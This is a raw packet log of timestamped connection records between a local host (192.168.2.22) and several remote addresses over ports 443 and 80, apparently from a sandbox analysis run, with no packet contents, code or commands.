Oct 24, 2024 08:45:46.741163015 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.741187096 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.741192102 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.741205931 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.741264105 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.788041115 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.788079977 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.788110971 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.788126945 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.788141012 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.788141012 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.821798086 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.821831942 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.821891069 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.821904898 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.821922064 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.822113991 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.822138071 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.822165966 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.822171926 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.822196960 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.823709011 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.839873075 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.839907885 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.839956999 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.839967966 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.839978933 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.840085983 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.840334892 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.840357065 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.840385914 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.840389967 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.840415955 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.840488911 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.856766939 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.856803894 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.856833935 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.856842995 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.856858015 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.857346058 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.857742071 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.857779026 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.857815027 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.857827902 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.857846022 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.857847929 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.857873917 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.857881069 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.857901096 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.857902050 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.857952118 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.857959032 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.857984066 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.858010054 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.858030081 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.858037949 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.858058929 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.858561039 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.904962063 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.904994011 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.905031919 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.905061007 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.905077934 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.905780077 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.938630104 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.938668013 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.938736916 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.938760042 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.938890934 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.938936949 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.938965082 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.938993931 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.938999891 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.939021111 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.939213037 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.939234972 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.939260960 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.939268112 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.939291954 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.952336073 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.957016945 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.957046032 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.957107067 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.957119942 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.957132101 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.957370996 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.957396984 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.957420111 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.957426071 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.957437992 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.973889112 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.973917007 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.973973036 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.973983049 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.974004984 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.974169016 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.974196911 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.974225998 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.974232912 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.974242926 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.974482059 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.974572897 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.974594116 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.974623919 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.974628925 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.974638939 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.974910021 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.974936008 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.974962950 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.974970102 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.974991083 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.022650003 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.022684097 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.022741079 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.022772074 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.022784948 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.037178040 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.055484056 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.055516005 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.055556059 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.055572033 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.055584908 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.055768967 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.055795908 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.055814028 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.055821896 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.055841923 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.056127071 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.056154966 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.056175947 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.056183100 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.056202888 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.058224916 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.073934078 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.073976040 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.074013948 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.074023008 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.074042082 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.074187040 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.074215889 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.074234009 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.074240923 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.074259043 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.075043917 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.090940952 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.090977907 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091012001 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.091017008 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091052055 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.091088057 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091114998 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091144085 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.091150045 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091171980 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.091499090 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091522932 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091546059 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.091552973 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091573000 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.091837883 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091870070 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091890097 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.091897011 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.091917992 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.092138052 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.092163086 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.092185974 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.092191935 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.092215061 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.114718914 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.138981104 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.139014959 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.139086962 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.139096975 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.139137030 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.172523975 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.172554970 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.172625065 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.172657013 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.172672987 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.172868967 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.172894955 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.172916889 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.172924995 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.172944069 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.173224926 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.173245907 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.173274040 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.173285961 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.173300982 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.191478968 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.191513062 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.191545963 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.191554070 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.191572905 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.191896915 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.191916943 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.191943884 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.191951036 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.191973925 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.206564903 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.208055973 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.208085060 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.208141088 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.208148003 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.208164930 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.208228111 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.208259106 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.208277941 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.208285093 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.208304882 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.208520889 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.208540916 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.208568096 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.208575010 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.208592892 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.209326029 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.209356070 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.209364891 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.209371090 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.209392071 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.209417105 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.209564924 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.209587097 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.209610939 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.209616899 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.209635019 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.216556072 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.256201982 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.256266117 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.256300926 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.256329060 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.256341934 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.291243076 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.291285038 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.291301966 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.291309118 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.291328907 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.291623116 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.291644096 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.291671991 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.291678905 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.291704893 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.291949987 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.291977882 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.291999102 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.292006016 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.292026043 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.308487892 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.308514118 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.308552027 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.308559895 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.308573961 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.308576107 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.308605909 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.308618069 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.308624983 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.308645010 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.324944019 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.324971914 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.325004101 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.325030088 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.325053930 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.325155973 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.325185061 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.325207949 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.325215101 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.325233936 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.325298071 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:47.325336933 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.597457886 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:47.657798052 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:51.752903938 CEST	80	49174	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:51.752995968 CEST	49174	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:53.813361883 CEST	49174	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:53.813416004 CEST	49172	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:59.815568924 CEST	49175	443	192.168.2.22	142.250.186.142
Oct 24, 2024 08:45:59.815606117 CEST	443	49175	142.250.186.142	192.168.2.22
Oct 24, 2024 08:45:59.815666914 CEST	49175	443	192.168.2.22	142.250.186.142
Oct 24, 2024 08:45:59.817437887 CEST	49175	443	192.168.2.22	142.250.186.142
Oct 24, 2024 08:45:59.817450047 CEST	443	49175	142.250.186.142	192.168.2.22
Oct 24, 2024 08:46:00.664623976 CEST	443	49175	142.250.186.142	192.168.2.22
Oct 24, 2024 08:46:00.664704084 CEST	49175	443	192.168.2.22	142.250.186.142
Oct 24, 2024 08:46:00.665370941 CEST	443	49175	142.250.186.142	192.168.2.22
Oct 24, 2024 08:46:00.665421963 CEST	49175	443	192.168.2.22	142.250.186.142
Oct 24, 2024 08:46:00.669800997 CEST	49175	443	192.168.2.22	142.250.186.142
Oct 24, 2024 08:46:00.669816971 CEST	443	49175	142.250.186.142	192.168.2.22
Oct 24, 2024 08:46:00.670113087 CEST	443	49175	142.250.186.142	192.168.2.22
Oct 24, 2024 08:46:00.875339031 CEST	443	49175	142.250.186.142	192.168.2.22
Oct 24, 2024 08:46:00.875503063 CEST	49175	443	192.168.2.22	142.250.186.142
Oct 24, 2024 08:46:00.934861898 CEST	49175	443	192.168.2.22	142.250.186.142
Oct 24, 2024 08:46:00.979336977 CEST	443	49175	142.250.186.142	192.168.2.22
Oct 24, 2024 08:46:01.294867039 CEST	443	49175	142.250.186.142	192.168.2.22
Oct 24, 2024 08:46:01.415623903 CEST	443	49175	142.250.186.142	192.168.2.22
Oct 24, 2024 08:46:01.415764093 CEST	49175	443	192.168.2.22	142.250.186.142
Oct 24, 2024 08:46:01.417155027 CEST	49175	443	192.168.2.22	142.250.186.142
Oct 24, 2024 08:46:01.586642981 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:01.586719990 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:01.586815119 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:01.587382078 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:01.587399960 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:02.508873940 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:02.508954048 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:02.513576984 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:02.513592005 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:02.514053106 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:02.516586065 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:02.559343100 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:03.226438999 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:03.231962919 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.232045889 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:03.232137918 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:03.237376928 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.924801111 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.924824953 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.924844027 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.924851894 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.924861908 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.924875975 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.924881935 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.924973965 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:03.925067902 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.925122976 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.925159931 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.925173044 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:03.930320978 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.930344105 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.930356026 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:03.930413008 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.043395042 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.043405056 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.043452024 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.043457985 CEST	80	49177	192.3.176.141	192.168.2.22
